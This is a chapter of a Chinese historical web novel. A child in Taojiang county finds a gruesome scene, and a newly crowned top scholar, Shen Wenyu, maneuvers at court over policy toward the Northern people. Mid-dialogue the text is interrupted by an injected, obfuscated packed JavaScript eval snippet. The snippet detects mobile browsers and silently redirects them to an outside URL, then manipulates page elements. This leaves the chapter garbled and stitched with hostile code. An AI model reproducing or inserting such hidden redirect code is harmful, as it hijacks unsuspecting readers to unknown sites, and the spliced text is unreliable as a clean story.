桃江县地处凤尾山以南，背倚连绵群山，近海，是个交通不便的地儿。
庞大崎岖的山脉中，围出了一块较平的落脚处，于是各村镇驻根在此，世代捕鱼为生，还算自给自足。新知县到后，一反常态号令修路，叫桃江县与外渐渐有了联系。
只是每隔许久，贫瘠无趣的桃江县就要热闹一次。
青灰粗麻衫的女子揽住四处盼望的小孩，皱着眉叮嘱。
“入了夜就待在屋头里，听好没？”
小桃生在小镇，一岁就跟着大人出海捕鱼，风吹日晒却也不黑，长得粉雕玉琢的，格外讨喜。
闻言眨着眼追问：“阿娘，为什么呀，今天村里好热闹！”
被称为阿娘的女子看着更像是少女，脸颊红润，皮肤紧致。不知为何，避而不答地摸了摸小桃的头：“你听话就是了。”
小桃脸圆，只有下巴那点可爱的尖尖，闻言认真地点了点头。
“好！”
好吵。
肚子里涨的难受，春桃醒来时习惯性想找阿娘带自己起夜，却没有发现阿娘的身影。
隐约听见了叔叔、伯伯、还有一些村里很疼爱自己的长辈的声音，似乎在讨论着什么，屋外柴火烧得前所未有的旺盛，几乎照亮剥落的墙皮，露出底下猩红的砖。
怎么回事，阿娘呢？
春桃揉了两把眼睛，在尿意的催促下终于忍不住，蹑手蹑脚出了屋。
阿娘在那个屋子吗？
被空置许久的木屋有了人声，开了道小缝，有铁锈般的味道飘出来。今夜的村子不知为何格外阴森，于是那点漫出来火红烛光自然成了注意力的源头。
春桃有些害怕，但长辈在的地方总是安全的，便一步一停地到了屋门口，有些生怯地推开了门。
不详的血光在暴露的同时，就已经刻入骨髓，与堂中那残缺的肢体一起，倒映在急剧放大的瞳孔中，成为此生难忘的阴影与梦魇。
春桃撕开了年幼尚且稚嫩的嗓子，爆发出骇人的尖叫：
“——啊！！！！”
.
灰鸟挟着利风破开层云，一头扎入鳞次栉比的京城，自高空盘旋而下，在屋檐拢了翅羽，歪着头，用那黑豆般的双目看底下攒动的人群。
“快看！状元郎入京了！！”
锣鼓喧天，彩锦十里，平京城的高墙遥遥耸立，苍穹上一片金云积叠，恢弘可观。
正是金乌初升之际，莺啼燕啭，细柳飘拂，好一番春光乍现。
夹道的娟俏女子已准备好了花篮，流盼催促间显出几分娇嗔。
“怎的还不来？”
“这可不得了，连中三元的状元郎，二十多年未见了！”
“快了快了，莫要急，别挤...诶，快瞧！那是不是！”
群情刹那鼎沸，水波般往一处荡去，越过层层视线的阻碍，满天飞舞的红绸被拨开，先入眼帘的是一双养尊处优的手。
那指节分明的手稳稳攥着白马的缰绳，隐约可见指尖发力的那点筋骨。
随后是一身绛红的官袍，打马时疾风勾勒出纤细腰身，更衬得人肤白胜雪。
不知谁率先扔出了一把散花，姹紫嫣红的花瓣纷纷扬扬如雨落，女子铃铛般的招呼与倩笑声叫人心神摇荡，俊马上实至名归的状元郎却看都未曾看一眼，只是随手拨走了落在发梢，露水未干的花瓣。
“好快意！也不知这状元郎能否官入翰林？”
“翰林院？我看不止，你不知道吗，这位状元郎啊，考卷一出，陛下可是赞誉有加！”
一身着深蓝劲装的男子收回视线。
他恰巧在两位讨论的书生背后，适时插了句嘴：“哦？此话怎讲。”
书生闻言回头，见那男子谈吐得体，不免心生好感，憋了许久的卖弄无处宣泄，正需要一个人接言，于是攀谈起来。
“兄台可是此届的武考生？”
男子闻言一愣，思索半晌顺着应下：“是，称呼我谢晤便好。”
“谢兄！”书生拱手，算是见了礼，“那难怪你不知。这位状元郎啊，是永康侯府的小儿子，永康侯府你知道吧？沈家祖上曾救过先祖的命，被敕封永康候，是世袭罔替的殊荣，祖祖辈辈受其林荫，不说入朝为官，几辈子荣华富贵总是有的，可偏偏后代长了一群歪瓜裂枣，总也不成气候，当纨绔当得得心应手……
“新侯爷沈朝言的儿子出生后，大家伙也以为会是骄奢无用的性子。嘿，你说怎么着，居然出落的惊才艳艳！真是祖坟冒青烟…这次陛下钦点的状元郎便是他，沈文誉。
“话说这沈文誉……”
这书生极有唠闲磕的天赋，舌根嚼得不亦乐乎，谢晤不得已打断了他：“您方才说陛下的赏识，是从何而来啊？”
“是、是！”书生反应过来，“谢兄，见你五官不似北人，我就直说了。你也知道，咱们楚朝开疆扩土十几年……”
书生道，楚朝开疆扩土数十年，地跨外海内陆，收留了许多外族人，以北宛族北人为代表，陇合之围将其领土彻底划为楚。
只是北人大多文化低劣，交流不利，陛下厌恶得紧，又不知如何处理，收留也不行，不留也不行，一直是一块尾大不掉的累赘。
谢晤却沉默了许久，状似认真听的模样，目光却移向了踏马而来的扬眉状元郎。
——就是在楚朝美人如云的国土上，这人也是鲜见的好颜色。
沈家嫡子沈文誉身上，完全见不到那些纨绔身上的油滑样。
男人容貌清绝，就算在暖热日光下，都显出几分爱答不理的冷意，眉毛似两笔的鸦青绘制，细而尖利，倒与眼尾那一挑漂亮的红色呼应。
五官韵味是上扬的，气质却是内敛而慵懒的，睫毛垂下时，引人看向他鼻尖那点小巧的痣。
于是书生的声音就这么在耳旁响起，像是一种旁白，道出这人艳惊四座的经历。
“......殿试题目简单，就是治国措施，考生都中规中矩地答了。他到好，笔刃指向近些年来的沉疴，条分缕析地列举了些处理北人的措施，最后得出了四字结论，陛下观阅后连连抚掌，喜欢得不行。啧啧，您猜是什么？”
谢晤：“什么？”
沈文誉策马而过，夹道的欢呼声更盛一层，新嫩的花瓣又如雨般飘扬，满街道都是芬芳馥郁的香气。落花被马蹄黏在土地上，成为了新春伊始的春泥。
他就这么瞥来了一眼，漫不经心的。唇瓣紧抿，很难想象会说出什么刻薄的话语。
“他说。”
那书生一唱三叹的腔调终于放弃了卖关子，在沈文誉衣袍翻飞之时，四字落音。
“——激浊扬清！”
谢晤下意识皱了眉。
沈文誉，字疏名。
哪怕生在沈家，也被保护得极好，不是行事嚣张的性子，在一举中魁之前，几乎是无名的存在。
沈家不结党、不联姻、不参朝政已经数年，眼下这一位状元郎出来，也不知在暗地里要掀起多少风浪。
这迎合皇帝心意的文章，是真心流露，还是有意为之？
.
不论牵动了多少人勾结的心思，还是搅动了什么局势变动，沈文誉并无所谓。
日落黄昏之际，他才行至宅邸中。
及冠后独自搬出侯府不过一年，日子依旧清闲，没有什么变化，平日里下人们乐得无事，还有心思照顾些花花鸟鸟，连廊外一片花团锦簇。
自他回来后，宅上好似找到主心骨般，有条不紊地动了起来。
沈文誉叫人将马牵走，打算自己磨墨架笔，准备之后恩容宴的请帖。
牵马太久，手腕酸疼，沈文誉面无表情地揉了揉，一句尾音缠绵的呼唤跨越庭院而来，声先人至。
“文誉！”
一身着绯红璎珞花纹长袍，高束着发的男子扑过来。此君显然是粘着人亲亲抱抱的惯犯，灵巧得像只鸟，甚至还不怕沈文誉的冷脸。
显然是只没脸没皮的鸟。
鸟君本以为会抱个空，都准备好了脸往哪着地的角度，未曾想一直讨厌肢体接触的好友居然没躲。
沈文誉微不可见地踉跄一步。
他的腿根疼得难受，站稳后叹了口气，拍了拍男子的肩：“宋鹤，走开。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113902|195884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
与这人当了数年好友，宋鹤当然知道见好就收。
他不情不愿地站直了，显然兴奋劲儿未消，只是松手后还发现沈文誉还搀着自己的手臂，要说的话卡了壳，不免有些惶恐。
“现、现在是是是你你碰我啊！我没碰你！”
沈文誉顿了顿，终于有些无奈：“扶我一把，腿疼。”
宋鹤反应过来，哦了声，乖乖带着沈文誉到了书房坐下，才又忍不住唠叨起来。
“所以说让你多跟着我们跑跑马逛逛馆了，也不至于骑几个时辰就嚷着腿疼。”
“骑习惯了也没用，不是因为这个……算了。”沈文誉看起来不欲多说，撩起袍袖开始研墨，终于想起来问宋鹤正事，“你过来干什么？”
“听听这话说的，想你了不行吗？”
宋鹤吊儿郎当坐在一旁的桌上，拿起冻梨往嘴里送去，咯嘣一声咬，含混道，“也不是啥要紧事，就是咱们状元郎名动京城，父亲让我来问你有没有中意的去向。”
这就是示好了。
宋鹤父亲宋明琛，官拜户部尚书。
宋氏在世家断骨连筋的大网中也算是不容小觑的显赫名门，尤其后代接连科举得利，入朝为官者越来越多。小儿子宋鹤虽然会试遗憾落选，但依旧前途无量。
只是上有簪缨世冑温家，深得陛下恩宠，宋家被压制许多年，处处受其掣肘，怪不得眼下着急。
“文誉先谢过了，但此事非我一人意愿，还需再考虑。”沈文誉瞥了宋鹤一眼，立刻了然什么，笑意浮上来，“你过来不是为了这事吧？”
宋鹤把梨一放：“呀！我就知道瞒不过我们文誉，那当然不是了，老头子那些官气忒重有什么好听的？”
他磨磨蹭蹭过来，拉住沈文誉的袖子。
“文誉，十日后锁春阁的主题宴，你就答应我嘛，大家都会来的，听说锁春阁安排了新鲜玩意，你若来，决计不会失望！”
“看情况。”沈文誉最后一字落笔，将竹纹宣纸拿起来抖了抖，红纸套封后递给宋鹤，指尖点了点这请帖，“除非帮我把这请帖送至殿前司副都指使手中。”
“谁？”宋鹤听后差点手抖。
沈文誉抿着唇，带着些促狭和坏：“还有谁吗？裴止弃啊。”
“我当然知道你说那个人。”
宋鹤有些震惊。
“但我跟他算不上熟。裴止弃这人...挺不好接触的。再说了他身份如此敏感，你在答卷中好不痛快地挑剔了一遍外族人，你还敢在你的状元宴上邀请他？”
沈文誉：“不可以吗？”
宋鹤冷哼，“当然不——”他觑着沈文誉的脸色及时改了口，“不是问题！”
沈文誉：“……”
“小疏名，我说你是真不知道还是故意的？”宋鹤正色道，“裴止弃可是北人，北人当官的限制层出不穷，偶尔的一位且不说终生躲不开‘左官’的头衔，轻蔑和孤立更是不加掩饰，你邀请他有什么好处？”
“我好奇啊。”沈文誉看着窗外。
早春之际，抽芽的花叶遮不住嶙峋的枝，景色拓在窗棂之中，繁荣枯灭都囚禁于此，供人观赏。
他呢喃的声音散在风中，渐行渐远了。
“你说，居所被侵占，族人流离，击退外族的战功被远召回京却有功无名，甚至实权都被架空……”沈文誉一字一句，道出了连宋鹤都不甚清楚的详情，语气带着孩童天真而残忍的好奇，“你说，他就不恨吗？”
宋鹤没听清：“……什么？”
沈文誉瞥他一眼，轻松岔开了话题。
“没什么，宋鹤，我有些累了，你改日再来罢。……啊，请帖送不到人，就不必再来了。”
宋鹤被请走的时候敢怒不敢言。
等到宋鹤离开半刻钟，有暗卫翻身从屋檐跃下，凑至沈文誉身侧耳语几句。
毛笔尖沁出墨水，落在宣纸上一道丑陋的黑。
沈文誉表情愈发冷峻，眉尖微微蹙紧了。
恰在这时，宫里的召令下来。
传口谕的太监吊着嗓门，令永康侯之子沈文誉即刻入宫。